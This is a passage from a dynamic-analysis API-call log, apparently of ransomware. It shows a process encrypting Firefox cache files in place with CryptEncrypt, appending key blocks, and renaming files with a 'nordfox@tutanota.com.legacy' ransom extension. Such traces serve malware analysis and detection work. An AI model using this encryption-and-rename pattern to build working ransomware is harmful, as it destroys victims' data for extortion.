(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B7DB036074231ACC212F58CA5B8AF0545A418060", dwFileAttributes=0x80) returned 1 [0184.970] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8430 [0184.970] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.970] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x20912, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x20912, lpOverlapped=0x0) returned 1 [0184.988] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-133394, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.988] WriteFile (in: hFile=0x1b80, lpBuffer=0x3520048*, nNumberOfBytesToWrite=0x20912, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3520048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x20912, lpOverlapped=0x0) returned 1 [0184.989] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x20912 [0184.989] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.989] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e72a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e72a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.989] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e72a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e72a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.990] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.990] CloseHandle (hObject=0x1b80) returned 1 [0184.992] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e8a60 | out: pbBuffer=0x30e8a60) returned 1 [0184.992] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.992] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B7D247885D071E7CF0E479F31FF2CDB5B3839A24", dwFileAttributes=0x80) returned 1 [0184.992] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e79e0 [0184.992] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.992] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xefd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xefd, lpOverlapped=0x0) returned 1 [0184.996] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.996] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0788*, nNumberOfBytesToWrite=0xefd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0788*, lpNumberOfBytesWritten=0x2e1f9bc*=0xefd, lpOverlapped=0x0) returned 1 [0184.997] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xefd [0184.997] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.997] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e8a60*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e8a60*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.997] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e8a60*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8a60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.998] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.998] CloseHandle (hObject=0x1b80) returned 1 [0185.000] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7cf8 | out: pbBuffer=0x30e7cf8) returned 1 [0185.000] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.000] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B761C188E45D22C3419517129581D82241C94A98", dwFileAttributes=0x80) returned 1 [0185.000] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8a60 [0185.000] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.000] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x271a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x271a, lpOverlapped=0x0) returned 1 [0185.012] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-10010, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.012] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f1fa8*, nNumberOfBytesToWrite=0x271a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f1fa8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x271a, lpOverlapped=0x0) returned 1 [0185.013] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x271a [0185.013] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.013] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e7cf8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e7cf8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.013] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e7cf8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7cf8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.013] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.014] CloseHandle (hObject=0x1b80) returned 1 [0185.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e73b0 | out: pbBuffer=0x30e73b0) returned 1 [0185.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.015] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B73E4A4438B9B71F020E7D4B54AE283770E47CA7", dwFileAttributes=0x80) returned 1 [0185.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8640 [0185.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.016] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x22f3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x22f3, lpOverlapped=0x0) returned 1 [0185.027] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-8947, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.027] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f1b80*, nNumberOfBytesToWrite=0x22f3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f1b80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x22f3, lpOverlapped=0x0) returned 1 [0185.027] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x22f3 [0185.027] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.027] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e73b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e73b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.028] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e73b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e73b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.028] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.028] CloseHandle (hObject=0x1b80) returned 1 [0185.032] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e8748 | out: pbBuffer=0x30e8748) returned 1 [0185.032] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0185.032] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B5F5B9A6662536196E088C9E9D5B3A8FCF7E3EE6", dwFileAttributes=0x80) returned 1 [0185.032] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8328 [0185.032] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.032] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xd6b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xd6b, lpOverlapped=0x0) returned 1 [0185.043] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3435, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.043] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f05f8*, nNumberOfBytesToWrite=0xd6b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f05f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd6b, lpOverlapped=0x0) returned 1 [0185.044] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd6b [0185.044] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.044] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e8748*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e8748*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.044] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e8748*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8748*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.044] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.044] CloseHandle (hObject=0x1b80) returned 1 [0185.046] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e8a60 | out: pbBuffer=0x30e8a60) returned 1 [0185.046] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0185.046] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B597DA2E9B2D181DF7F2FB8D2BAEC133C8DBA0A3", dwFileAttributes=0x80) returned 1 [0185.046] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8640 [0185.046] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.046] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x4b79, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x4b79, lpOverlapped=0x0) returned 1 [0185.054] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-19321, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.054] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x4b79, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4b79, lpOverlapped=0x0) returned 1 [0185.055] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4b79 [0185.055] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.055] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e8a60*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e8a60*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.055] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e8a60*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8a60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.056] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.056] CloseHandle (hObject=0x1b80) returned 1 [0185.058] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e8b68 | out: pbBuffer=0x30e8b68) returned 1 [0185.058] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.058] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B41962C0CA561119A4EA3BEC5778FEDAC860470B", dwFileAttributes=0x80) returned 1 [0185.058] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e73b0 [0185.058] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.058] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0185.065] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.065] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef880*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0185.065] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x528 [0185.066] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.066] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e8b68*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e8b68*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.066] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e8b68*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8b68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.066] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.067] CloseHandle (hObject=0x1b80) returned 1 [0185.068] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e71a0 | out: pbBuffer=0x30e71a0) returned 1 [0185.068] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.068] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B40A829DAB29DF38C5DB78D6A2ECE11DDDB3B710", dwFileAttributes=0x80) returned 1 [0185.068] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e7cf8 [0185.069] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.069] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xa0b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xa0b, lpOverlapped=0x0) returned 1 [0185.098] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2571, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.098] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0298*, nNumberOfBytesToWrite=0xa0b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0298*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa0b, lpOverlapped=0x0) returned 1 [0185.099] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ef880 | out: hHeap=0x520000) returned 1 [0185.099] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f0298 | out: hHeap=0x520000) returned 1 [0185.099] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa0b [0185.099] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.099] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e71a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e71a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.099] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e71a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e71a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.099] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.100] CloseHandle (hObject=0x1b80) returned 1 [0185.100] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e71a0 | out: hHeap=0x520000) returned 1 [0185.100] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.100] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B40A829DAB29DF38C5DB78D6A2ECE11DDDB3B710" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b40a829dab29df38c5db78d6a2ece11dddb3b710"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B40A829DAB29DF38C5DB78D6A2ECE11DDDB3B710.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b40a829dab29df38c5db78d6a2ece11dddb3b710.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.102] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.102] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e79e0 | out: hHeap=0x520000) returned 1 [0185.102] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7098 | out: hHeap=0x520000) returned 1 [0185.102] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e7f08 [0185.102] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e71a0 [0185.102] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0185.102] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e71a0 | out: pbBuffer=0x30e71a0) returned 1 [0185.102] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0185.102] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B34EF52333F13C92B035E4DA7E00EE58A80645F0", dwFileAttributes=0x80) returned 1 [0185.102] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e7098 [0185.102] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.102] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7098 | out: hHeap=0x520000) returned 1 [0185.102] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B34EF52333F13C92B035E4DA7E00EE58A80645F0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b34ef52333f13c92b035e4da7e00ee58a80645f0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.103] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3237) returned 1 [0185.103] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xca5) returned 0x30ef880 [0185.103] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xca5) returned 0x30f0530 [0185.103] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xca5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xca5, lpOverlapped=0x0) returned 1 [0185.110] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3237, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.110] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0530*, nNumberOfBytesToWrite=0xca5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0530*, lpNumberOfBytesWritten=0x2e1f9bc*=0xca5, lpOverlapped=0x0) returned 1 [0185.110] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ef880 | out: hHeap=0x520000) returned 1 [0185.110] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f0530 | out: hHeap=0x520000) returned 1 [0185.110] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xca5 [0185.110] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.110] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e71a0*, pdwDataLen=0x2e1f9a8*=0x20, 